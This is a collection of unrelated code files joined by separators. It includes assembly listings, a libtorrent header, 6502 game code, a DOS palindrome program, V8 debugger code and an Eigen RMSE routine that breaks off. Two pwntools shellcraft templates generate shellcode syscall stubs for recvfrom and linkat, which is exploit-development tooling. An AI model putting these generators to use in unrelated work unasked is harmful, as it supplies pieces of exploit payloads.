; 117 : if (v == NULL)
test rdx, rdx
je $LN26@PMC_Compar
; 118 : return (PMC_STATUS_ARGUMENT_ERROR);
; 119 : if (w == NULL)
test r8, r8
je $LN26@PMC_Compar
; 121 : PMC_STATUS_CODE result;
; 122 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, rdx
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 62 : if (u->IS_ZERO)
test BYTE PTR [rbx+40], 2
je SHORT $LN8@PMC_Compar
; 63 : {
; 64 : // u が 0 である場合
; 65 : if (v == 0)
; 66 : {
; 67 : // v が 0 である場合
; 68 : *w = 0;
; 69 : }
; 70 : else
; 71 : {
; 72 : // v が 0 でない場合
; 73 : *w = -1;
; 74 : }
; 75 : }
test edi, edi
setne al
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 76 : else if (v == 0)
test edi, edi
je SHORT $LN27@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, edi
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 85 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
movsxd rax, ecx
mov ecx, 32 ; 00000020H
sub rcx, rax
; 86 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rbx+16], rcx
ja SHORT $LN27@PMC_Compar
; 87 : {
; 88 : // 明らかに u > v である場合
; 89 : *w = 1;
; 90 : }
; 91 : else if (u_bit_count < v_bit_count)
jae SHORT $LN16@PMC_Compar
; 92 : {
; 93 : // 明らかに u < v である場合
; 94 : *w = -1;
mov eax, 1
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN16@PMC_Compar:
; 100 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rbx+56]
mov rdx, QWORD PTR [rax]
cmp rdx, rdi
jbe SHORT $LN18@PMC_Compar
$LN27@PMC_Compar:
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov eax, -1
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN18@PMC_Compar:
; 102 : else if (u->BLOCK[0] < v)
xor eax, eax
cmp rdx, rdi
setb al
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN26@PMC_Compar:
; 120 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_I_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT Initialize_Compare
_TEXT SEGMENT
feature$ = 8
Initialize_Compare PROC ; COMDAT
; 356 : return (PMC_STATUS_OK);
xor eax, eax
; 357 : }
ret 0
Initialize_Compare ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT Compare_Imp
_TEXT SEGMENT
u$ = 8
v$ = 16
count$ = 24
Compare_Imp PROC ; COMDAT
; 40 : u += count;
lea rax, QWORD PTR [r8*8]
add rcx, rax
; 41 : v += count;
add rdx, rax
; 42 : while (count > 0)
test r8, r8
je SHORT $LN3@Compare_Im
npad 13
$LL2@Compare_Im:
; 43 : {
; 44 : --u;
; 45 : --v;
; 46 : --count;
; 47 :
; 48 : if (*u > *v)
mov rax, QWORD PTR [rcx-8]
lea rcx, QWORD PTR [rcx-8]
lea rdx, QWORD PTR [rdx-8]
dec r8
cmp rax, QWORD PTR [rdx]
ja SHORT $LN10@Compare_Im
; 50 : else if (*u < *v)
jb SHORT $LN11@Compare_Im
; 42 : while (count > 0)
test r8, r8
jne SHORT $LL2@Compare_Im
$LN3@Compare_Im:
; 52 : else
; 53 : {
; 54 : }
; 55 : }
; 56 : return (0);
xor eax, eax
; 57 : }
ret 0
$LN11@Compare_Im:
; 51 : return (-1);
mov eax, -1
; 57 : }
ret 0
$LN10@Compare_Im:
; 49 : return (1);
mov eax, 1
; 57 : }
ret 0
Compare_Imp ENDP
_TEXT ENDS
END
|
/*
Copyright (c) 2015, Mikhail Titov
Copyright (c) 2004-2021, Arvid Norberg
Copyright (c) 2016-2017, Steven Siloti
Copyright (c) 2016, 2020-2021, Alden Torres
Copyright (c) 2020, Paul-Louis Ageneau
All rights reserved.
You may use, distribute and modify this code under the terms of the BSD license,
see LICENSE file.
*/
#ifndef TORRENT_TRACKER_MANAGER_HPP_INCLUDED
#define TORRENT_TRACKER_MANAGER_HPP_INCLUDED
#include "libtorrent/config.hpp"
#include <vector>
#include <string>
#include <list>
#include <utility>
#include <cstdint>
#include <tuple>
#include <functional>
#include <memory>
#include <unordered_map>
#include <deque>
#include "libtorrent/flags.hpp"
#include "libtorrent/socket.hpp"
#include "libtorrent/fwd.hpp"
#include "libtorrent/address.hpp"
#include "libtorrent/peer_id.hpp"
#include "libtorrent/aux_/peer.hpp" // peer_entry
#include "libtorrent/aux_/deadline_timer.hpp"
#include "libtorrent/aux_/union_endpoint.hpp"
#include "libtorrent/io_context.hpp"
#include "libtorrent/span.hpp"
#include "libtorrent/time.hpp"
#include "libtorrent/aux_/debug.hpp"
#include "libtorrent/error_code.hpp"
#include "libtorrent/aux_/listen_socket_handle.hpp"
#include "libtorrent/aux_/udp_socket.hpp"
#include "libtorrent/aux_/session_settings.hpp"
#include "libtorrent/aux_/ssl.hpp"
#include "libtorrent/tracker_event.hpp" // for event_t enum
#if TORRENT_USE_RTC
#include "libtorrent/aux_/rtc_signaling.hpp"
#endif
namespace libtorrent {
struct counters;
#if TORRENT_USE_I2P
class i2p_connection;
#endif
}
namespace libtorrent::aux {
class tracker_manager;
struct timeout_handler;
struct session_logger;
struct session_settings;
struct resolver_interface;
class http_tracker_connection;
class udp_tracker_connection;
#if TORRENT_USE_RTC
struct websocket_tracker_connection;
#endif
using tracker_request_flags_t = flags::bitfield_flag<std::uint8_t, struct tracker_request_flags_tag>;
struct TORRENT_EXTRA_EXPORT tracker_request
{
tracker_request() = default;
static inline constexpr tracker_request_flags_t scrape_request = 0_bit;
// affects interpretation of peers string in HTTP response
// see parse_tracker_response()
static inline constexpr tracker_request_flags_t i2p = 1_bit;
std::string url;
std::string trackerid;
#if TORRENT_ABI_VERSION == 1
std::string auth;
#endif
std::shared_ptr<const ip_filter> filter;
std::int64_t downloaded = -1;
std::int64_t uploaded = -1;
std::int64_t left = -1;
std::int64_t corrupt = 0;
std::int64_t redundant = 0;
std::uint16_t listen_port = 0;
event_t event = event_t::none;
tracker_request_flags_t kind = {};
std::uint32_t key = 0;
int num_want = 0;
std::vector<address_v6> ipv6;
std::vector<address_v4> ipv4;
sha1_hash info_hash;
peer_id pid;
aux::listen_socket_handle outgoing_socket;
// set to true if the .torrent file this tracker announce is for is marked
// as private (i.e. has the "priv": 1 key)
bool private_torrent = false;
// this is set to true if this request was triggered by a "manual" call to
// scrape_tracker() or force_reannounce()
bool triggered_manually = false;
#if TORRENT_USE_SSL
ssl::context* ssl_ctx = nullptr;
#endif
#if TORRENT_USE_I2P
i2p_connection* i2pconn = nullptr;
#endif
#if TORRENT_USE_RTC
std::vector<aux::rtc_offer> offers;
#endif
};
struct tracker_response
{
tracker_response()
: interval(1800)
, min_interval(1)
, complete(-1)
, incomplete(-1)
, downloaders(-1)
, downloaded(-1)
{}
// peers from the tracker, in various forms
std::vector<peer_entry> peers;
std::vector<ipv4_peer_entry> peers4;
std::vector<ipv6_peer_entry> peers6;
// our external IP address (if the tracker responded with ti, otherwise
// INADDR_ANY)
address external_ip;
// the tracker id, if it was included in the response, otherwise
// an empty string
std::string trackerid;
// if the tracker returned an error, this is set to that error
std::string failure_reason;
// contains a warning message from the tracker, if included in
// the response
std::string warning_message;
// re-announce interval, in seconds
seconds32 interval;
// the lowest force-announce interval
seconds32 min_interval;
// the number of seeds in the swarm
int complete;
// the number of downloaders in the swarm
int incomplete;
// if supported by the tracker, the number of actively downloading peers.
// i.e. partial seeds. If not supported, -1
int downloaders;
// the number of times the torrent has been downloaded
int downloaded;
};
struct TORRENT_EXTRA_EXPORT request_callback
{
friend class tracker_manager;
request_callback() {}
virtual ~request_callback() {}
virtual void tracker_warning(tracker_request const& req
, std::string const& msg) = 0;
virtual void tracker_scrape_response(tracker_request const& /*req*/
, int /*complete*/, int /*incomplete*/, int /*downloads*/
, int /*downloaders*/) {}
virtual void tracker_response(
tracker_request const& req
, address const& tracker_ip
, std::list<address> const& ip_list
, struct tracker_response const& response) = 0;
virtual void tracker_request_error(
tracker_request const& req
, error_code const& ec
, operation_t op
, const std::string& msg
, seconds32 retry_interval) = 0;
#if TORRENT_USE_RTC
virtual void generate_rtc_offers(int count
, std::function<void(error_code const&, std::vector<aux::rtc_offer>)> handler) = 0;
virtual void on_rtc_offer(aux::rtc_offer const&) = 0;
virtual void on_rtc_answer(aux::rtc_answer const&) = 0;
#endif
#ifndef TORRENT_DISABLE_LOGGING
virtual bool should_log() const = 0;
virtual void debug_log(const char* fmt, ...) const noexcept TORRENT_FORMAT(2,3) = 0;
#endif
};
struct TORRENT_EXTRA_EXPORT timeout_handler
: std::enable_shared_from_this<timeout_handler>
{
explicit timeout_handler(io_context&);
timeout_handler(timeout_handler const&) = delete;
timeout_handler& operator=(timeout_handler const&) = delete;
void set_timeout(int completion_timeout, int read_timeout);
void restart_read_timeout();
void cancel();
bool cancelled() const { return m_abort; }
virtual void on_timeout(error_code const& ec) = 0;
virtual ~timeout_handler();
auto get_executor() { return m_timeout.get_executor(); }
private:
void timeout_callback(error_code const&);
int m_completion_timeout = 0;
// used for timeouts
// this is set when the request has been sent
time_point m_start_time;
// this is set every time something is received
time_point m_read_time;
// the asio async operation
deadline_timer m_timeout;
int m_read_timeout = 0;
bool m_abort = false;
#if TORRENT_USE_ASSERTS
int m_outstanding_timer_wait = 0;
#endif
};
struct TORRENT_EXTRA_EXPORT tracker_connection
: timeout_handler
{
tracker_connection(tracker_manager& man
, tracker_request req
, io_context& ios
, std::weak_ptr<request_callback> r);
std::shared_ptr<request_callback> requester() const;
~tracker_connection() override {}
tracker_request const& tracker_req() const { return m_req; }
void fail(error_code const& ec, operation_t op, char const* msg = ""
, seconds32 interval = seconds32(0), seconds32 min_interval = seconds32(0));
virtual void start() = 0;
virtual void close() = 0;
address bind_interface() const;
aux::listen_socket_handle const& bind_socket() const { return m_req.outgoing_socket; }
void sent_bytes(int bytes);
void received_bytes(int bytes);
std::shared_ptr<tracker_connection> shared_from_this()
{
return std::static_pointer_cast<tracker_connection>(
timeout_handler::shared_from_this());
}
protected:
void fail_impl(error_code const& ec, operation_t op, std::string msg = std::string()
, seconds32 interval = seconds32(0), seconds32 min_interval = seconds32(0));
tracker_request m_req;
std::weak_ptr<request_callback> m_requester;
tracker_manager& m_man;
};
class TORRENT_EXTRA_EXPORT tracker_manager final
: single_threaded
{
public:
using send_fun_t = std::function<void(aux::listen_socket_handle const&
, udp::endpoint const&
, span<char const>
, error_code&, aux::udp_send_flags_t)>;
using send_fun_hostname_t = std::function<void(aux::listen_socket_handle const&
, char const*, int
, span<char const>
, error_code&, aux::udp_send_flags_t)>;
tracker_manager(send_fun_t send_fun
, send_fun_hostname_t send_fun_hostname
, counters& stats_counters
, aux::resolver_interface& resolver
, aux::session_settings const& sett
#if !defined TORRENT_DISABLE_LOGGING || TORRENT_USE_ASSERTS
, aux::session_logger& ses
#endif
);
~tracker_manager();
tracker_manager(tracker_manager const&) = delete;
tracker_manager& operator=(tracker_manager const&) = delete;
void queue_request(
io_context& ios
, tracker_request&& r
, aux::session_settings const& sett
, std::weak_ptr<request_callback> c
= std::weak_ptr<request_callback>());
void queue_request(
io_context& ios
, tracker_request const& r
, aux::session_settings const& sett
, std::weak_ptr<request_callback> c
= std::weak_ptr<request_callback>()) = delete;
void abort_all_requests(bool all = false);
void stop();
void remove_request(aux::http_tracker_connection const* c);
void remove_request(aux::udp_tracker_connection const* c);
#if TORRENT_USE_RTC
void remove_request(aux::websocket_tracker_connection const* c);
#endif
bool empty() const;
int num_requests() const;
void sent_bytes(int bytes);
void received_bytes(int bytes);
void incoming_error(error_code const& ec, udp::endpoint const& ep);
bool incoming_packet(udp::endpoint const& ep, span<char const> buf);
// this is only used for SOCKS packets, since
// they may be addressed to hostname
// TODO: 3 make sure the udp_socket supports passing on string-hostnames
// too, and that this function is used
bool incoming_packet(char const* hostname, span<char const> buf);
void update_transaction_id(
std::shared_ptr<aux::udp_tracker_connection> c
, std::uint32_t tid);
aux::session_settings const& settings() const { return m_settings; }
aux::resolver_interface& host_resolver() { return m_host_resolver; }
void send_hostname(aux::listen_socket_handle const& sock
, char const* hostname, int port, span<char const> p
, error_code& ec, aux::udp_send_flags_t flags = {});
void send(aux::listen_socket_handle const& sock
, udp::endpoint const& ep, span<char const> p
, error_code& ec, aux::udp_send_flags_t flags = {});
private:
// maps transactionid to the udp_tracker_connection
// These must use shared_ptr to avoid a dangling reference
// if a connection is erased while a timeout event is in the queue
std::unordered_map<std::uint32_t, std::shared_ptr<aux::udp_tracker_connection>> m_udp_conns;
std::vector<std::shared_ptr<aux::http_tracker_connection>> m_http_conns;
std::deque<std::shared_ptr<aux::http_tracker_connection>> m_queued;
#if TORRENT_USE_RTC
// websocket connections by URL
std::unordered_map<std::string, std::shared_ptr<aux::websocket_tracker_connection>> m_websocket_conns;
#endif
send_fun_t m_send_fun;
send_fun_hostname_t m_send_fun_hostname;
aux::resolver_interface& m_host_resolver;
aux::session_settings const& m_settings;
counters& m_stats_counters;
bool m_abort = false;
#if !defined TORRENT_DISABLE_LOGGING || TORRENT_USE_ASSERTS
aux::session_logger& m_ses;
#endif
};
}
#endif // TORRENT_TRACKER_MANAGER_HPP_INCLUDED
|
;---------------------------------
;bplinux@posteo.de
;
;this is used to terminate the
;process and group cleanly
;---------------------------------
[BITS 64]
EXIT_GROUP equ 231
EXIT equ 60
segment .text
global _start
_start: xor rax, rax
mov al, EXIT_GROUP
xor rdi, rdi
syscall
xor rax, rax
mov al, EXIT
xor rdi, rdi
syscall
|
; unsigned char esx_m_setdrv(unsigned char drive)
SECTION code_esxdos
PUBLIC _esx_m_setdrv_fastcall
EXTERN asm_esx_m_setdrv
defc _esx_m_setdrv_fastcall = asm_esx_m_setdrv
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="fd, buf, n, flags, addr, addr_len"/>
<%docstring>
Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.
Arguments:
fd(int): fd
buf(void): buf
n(size_t): n
flags(int): flags
addr(SOCKADDR_ARG): addr
addr_len(socklen_t): addr_len
</%docstring>
${syscall('SYS_recvfrom', fd, buf, n, flags, addr, addr_len)}
|
#include <iostream>
#include "sampling.hh"
using namespace sampling;
int main() {
// testing a zipf distribution, generating numbers between 1 and 1000 with theta=0.8
StoRandomDistribution<>::rng_type rng(1/*seed*/);
StoRandomDistribution<> *dist = new StoZipfDistribution<>(rng /*generator*/, 1 /*low*/, 1000 /*high*/, 0.8 /*skew*/);
for (int i = 0; i < 1000; ++i)
std::cout << dist->sample() << ", ";
std::cout << std::endl;
delete dist;
return 0;
}
|
; A099978: Bisection of A001157: a(n) = sigma_2(2n-1).
; 1,10,26,50,91,122,170,260,290,362,500,530,651,820,842,962,1220,1300,1370,1700,1682,1850,2366,2210,2451,2900,2810,3172,3620,3482,3722,4550,4420,4490,5300,5042,5330,6510,6100,6242,7381,6890,7540,8420,7922,8500,9620,9412,9410,11102,10202,10610,13000,11450,11882,13700,12770,13780,15470,14500,14763,16820,16276,16130,18500,17162,18100,21320,18770,19322,22100,20740,21892,24510,22202,22802,26390,25012,24650,28100,26500,26570,31720,27890,28731,32942,29930,32550,34820,32042,32762,37220,35620,35380,41000,36482,37250,44200,38810,39602
mul $0,2
add $0,1
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,2
add $1,$3
lpe
add $1,1
mov $0,$1
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>linkat(fromfd, from, tofd, to, flags) -> str
Invokes the syscall linkat.
See 'man 2 linkat' for more information.
Arguments:
fromfd(int): fromfd
from(char*): from
tofd(int): tofd
to(char*): to
flags(int): flags
Returns:
int
</%docstring>
<%page args="fromfd=0, from=0, tofd=0, to=0, flags=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = ['from', 'to']
can_pushstr_array = []
argument_names = ['fromfd', 'from', 'tofd', 'to', 'flags']
argument_values = [fromfd, from, tofd, to, flags]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_linkat']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* linkat(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)}
|
;; Draw the heads-up display: enemy, score, radar
draw_hud
; The "enemy" messages should change when there are, you know,
; enemies.
COPY0 enemy_in_range_msg,enemy_1_org
COPY0 enemy_left_msg,enemy_2_org
COPY0 score_msg,score_org
; Draw blank radar
COPY0 radar1,radar1_org
COPY0 radar2,radar2_org
COPY0 radar3,radar3_org
rts
;; Draw the horizon from right to left, & the bottom reticle
draw_horizon ldx #40
lda #99
horizon_loop sta horizon_org,x
dex
bne horizon_loop
COPY0 bottom_ret1,bottom_ret1_org
COPY0 bottom_ret2,bottom_ret2_org
COPY0 bottom_ret3,bottom_ret3_org
rts
;; Draw the background at the current angle. Currently uses
;; the high byte of the angle, which maxes out at 160
draw_background
ldy angle+1
COPY40 bg0,bg_org
ldy angle+1
COPY40 bg1,bg_org+40
ldy angle+1
COPY40 bg2,bg_org+80
ldy angle+1
COPY40 bg3,bg_org+120
ldy angle+1
COPY40 bg4,bg_org+160
ldy angle+1
COPY40 bg5,bg_org+200
lda showtop
beq bg_exit
COPY0_NOSPACE top_ret1,top_ret1_org
COPY0_NOSPACE top_ret2,top_ret2_org
COPY0_NOSPACE top_ret3,top_ret3_org
bg_exit rts
draw_visible_enemies
; first, clear the enemy "row"
ldx #0
lda #' '
clear_enemy_loop
sta temp_enemy_org,x
inx
cpx #120 ; 3 lines (!)
bne clear_enemy_loop
; now, draw the visible enemies.
ldy #0
lda angle+1
sta val1 ; val1 = angle
clc
adc #40
sta val3 ;val3 = angle+40
draw_enemy_loop
; 1a. if angle <= et and et < angle+40 then goto 3a
; 1b. else if et < 95, if angle <= et+160 < angle+40 then goto 3b
; 1c. else out of range, goto 4
; 3a. x = et-angle. goto 3c
; 3b. d=160-angle. x = d + et.
; 3c draw it. goto 5
; 4. skip_to_drawing_next_enemy
; 5. next enemy
; 1a. if angle <= et and et < angle+40 then goto 3a
ldx enemy_theta,y
stx val2
jsr is_between
bcc threea ; yes
; 1b. else if et < 95, if angle <= et+160 < angle+40 then goto 3b
oneb cpx #95
bge skip_to_drawing_next_enemy
txa
clc
adc #160
sta val2
jsr is_between
; 1c. else out of range, goto 4
bcs skip_to_drawing_next_enemy ; not between
; x has et. d=160-angle. offset = d + et
threeb lda #160
sec
sbc angle+1
; need to add a+x but can't, so use val2 as a temp
sta val2 ; val2 = 160-angle
txa
clc
adc val2 ; a = x + (160-angle)
tax
jmp draw_one_enemy
; offset = et - angle
threea txa ; a now has et
sec
sbc angle+1 ; a has et-angle
tax ; x now has offset
draw_one_enemy
; prepare to draw a tank
; TODO:
; 1. pick right sprite based on enemy type
; 2. pick right sprite size
COPY_WORD far_tank1,copysrc
COPY_WORD temp_enemy_org,copydst
; Add x to destination
txa
clc
adc copydst
sta copydst ; copydst+=x
bcc draw_one_enemy2
inc copydst+1
draw_one_enemy2
jsr copy_sprite
skip_to_drawing_next_enemy
iny ; bump it here so we start showing from A not @
cpy num_enemies
bne draw_enemy_loop
rts
sweep_radar
inc sweep_angle
lda sweep_angle
; 0b1100000 - this way it only changes every 96 ticks
and #96
clc
ror
ror
ror
ror
ror
tax
lda sweep_chars,x
sta sweep_org
rts
; NOTE, we start at the END of the lines, so we need to start at 32767
horizon_org = 32767+40*14
; this one starts at the beginning of the ine.
temp_enemy_org = horizon_org+41
radar1_org = 32768+19
radar2_org = radar1_org+78
radar3_org = radar1_org+160
radar1 byte $5d,0
radar2 byte $40,$20,67,$20,$40,0
radar3 = radar1
sweep_org = radar2_org+2
sweep_angle byte 0
sweep_chars byte 67,78,$5d,77
enemy_1_org = 32768
enemy_in_range_msg null 'enemy in range'
enemy_2_org = 32768+80
enemy_right_msg null 'enemy to right'
enemy_left_msg null 'enemy to left'
enemy_rear_msg null 'enemy to rear'
; bottom reticle
bottom_ret1_org = 32768+16*40+17
bottom_ret2_org = bottom_ret1_org+40
bottom_ret3_org = bottom_ret2_org+42
bottom_ret1 byte 101,$20,$20,$20,103,0
bottom_ret2 byte 99,99,$5D,99,99,0
bottom_ret3 = radar1
; top reticle
top_ret1_org = 32768+9*40+19
top_ret2_org = top_ret1_org+40-2
top_ret3_org = top_ret2_org+39
top_ret1 = radar1
top_ret2 byte 100,100,93,100,100,0
top_ret3 byte 103,$20,$20,$20,$20,$20,101,0
score_org = 32768+40+26
score_msg null 'score'
; backgrounds
bg_org = 32768+8*40
BG_LENGTH = 160
;bg0 null ' 111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeeeffffffffff'
;bg1 null '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789'
bg0 text ' . . . W . U',$40,'I . Q * . . UI . ',$64,' . . ',0
bg1 text ' + * ',$40,$73,$20,$6B,$40,' - JK N M . ',0
bg2 text ' . . . . J',$40,'K . . . - . ',$65,' ',$65,' . ',0
bg3 text ' . NMNM N',$63,'M . . NM . . NMNM N',$63,'M . . * ',$65,' ',$65,' NMNM Q ',0
bg4 text ' ',$64,'NM . N N M',$64,'. - ',$64,'N M N V',$63,'M ',$64,'NM . N N M',$64,'. W ',$64,'N M N M + ',$64,'N M M NM ',0
bg5 text ' NN M N N M N ',$65,' NM NM N N M M NN M N N M N ',$65,' NM N M N M M NM N M ',0
|
.MODEL SMALL
.STACK 100H
.DATA
MSG1 DB 'Enter a string: $'
S DB 50 DUP('$')
SR DB 50 DUP('$')
MSG2 DB 0dh,0ah,'Your string: $'
MSG3 DB 0dh,0ah,'Your string in backward: $'
MSG4 DB 0dh,0ah,'This is palindrome$'
MSG5 DB 0dh,0ah,'This is not Palindrome$'
.CODE
MAIN PROC
MOV AX,@DATA
MOV DS,AX
LEA DX,MSG1
MOV AH,9
INT 21H
LEA SI, S
LEA DI, SR
STRING_INPUT:
MOV AH,1
INT 21H
CMP AL,13
JE PRINT_STRING
MOV [SI],AL
INC SI
LOOP STRING_INPUT
PRINT_STRING:
LEA DX,MSG2
MOV AH,9
INT 21H
MOV DL,OFFSET S
MOV AH,9
INT 21H
lEA DX,MSG3
MOV AH,9
INT 21H
DEC SI
REVERSE_STRING:
MOV AL,[SI]
MOV [DI],AL
INC DI
DEC SI
CMP [SI],'$'
JNZ REVERSE_STRING
MOV AL,'$'
MOV [DI],AL
MOV DL,OFFSET SR
MOV AH,9
INT 21H
LEA SI,S
LEA DI,SR
PALINDROME:
MOV AL,[SI]
CMP AL,'$'
JZ P_PALIN
MOV BL,[DI]
CMP AL,BL
JNZ N_PALIN
INC DI
INC SI
JMP PALINDROME
P_PALIN:
LEA DX,MSG4
MOV AH,9
INT 21H
JMP EXIT
N_PALIN:
LEA DX,MSG5
MOV AH,9
INT 21H
JMP EXIT
EXIT:
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN |
// Copyright 2015 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/v8.h"
#if V8_TARGET_ARCH_S390
#include "src/debug/debug.h"
#include "src/codegen.h"
#include "src/debug/liveedit.h"
#include "src/frames-inl.h"
namespace v8 {
namespace internal {
#define __ ACCESS_MASM(masm)
void DebugCodegen::GenerateHandleDebuggerStatement(MacroAssembler* masm) {
{
FrameScope scope(masm, StackFrame::INTERNAL);
__ CallRuntime(Runtime::kHandleDebuggerStatement, 0);
}
__ MaybeDropFrames();
// Return to caller.
__ Ret();
}
void DebugCodegen::GenerateFrameDropperTrampoline(MacroAssembler* masm) {
// Frame is being dropped:
// - Drop to the target frame specified by r3.
// - Look up current function on the frame.
// - Leave the frame.
// - Restart the frame by calling the function.
__ LoadRR(fp, r3);
__ LoadP(r3, MemOperand(fp, JavaScriptFrameConstants::kFunctionOffset));
__ LeaveFrame(StackFrame::INTERNAL);
__ LoadP(r2, FieldMemOperand(r3, JSFunction::kSharedFunctionInfoOffset));
__ LoadP(
r2, FieldMemOperand(r2, SharedFunctionInfo::kFormalParameterCountOffset));
__ LoadRR(r4, r2);
ParameterCount dummy1(r4);
ParameterCount dummy2(r2);
__ InvokeFunction(r3, dummy1, dummy2, JUMP_FUNCTION);
}
const bool LiveEdit::kFrameDropperSupported = true;
#undef __
} // namespace internal
} // namespace v8
#endif // V8_TARGET_ARCH_S390
|
#include <iostream>
#include "tools.h"
using Eigen::VectorXd;
using Eigen::MatrixXd;
using std::vector;
Tools::Tools() {}
Tools::~Tools() {}
VectorXd Tools::CalculateRMSE(const vector<VectorXd> &estimations,
const vector<VectorXd> &ground_truth) {
VectorXd rmse(4);
rmse << 0,0,0,0;
// check the validity of the following inputs:
// * the estimation vector size should not be zero
// * the estimation vector size should equal ground truth vector size
if(estimations.size() != ground_truth.size()
|| estimations.size() == 0){
cout << "Invalid estimation or ground_truth data" << endl;
return rmse;
}
//accumulate squared residuals
for(unsigned int i=0; i < estimations.size(); ++i){
VectorXd residual = estimations[i] - ground_truth[i];
//coefficient-wise multiplication
residual = residual.array()*residual.array();
rmse += residual;
}
//calculate the mean
rmse = rmse/estimations.size();
//calculate the squared root
rmse = rmse.array().sqrt();
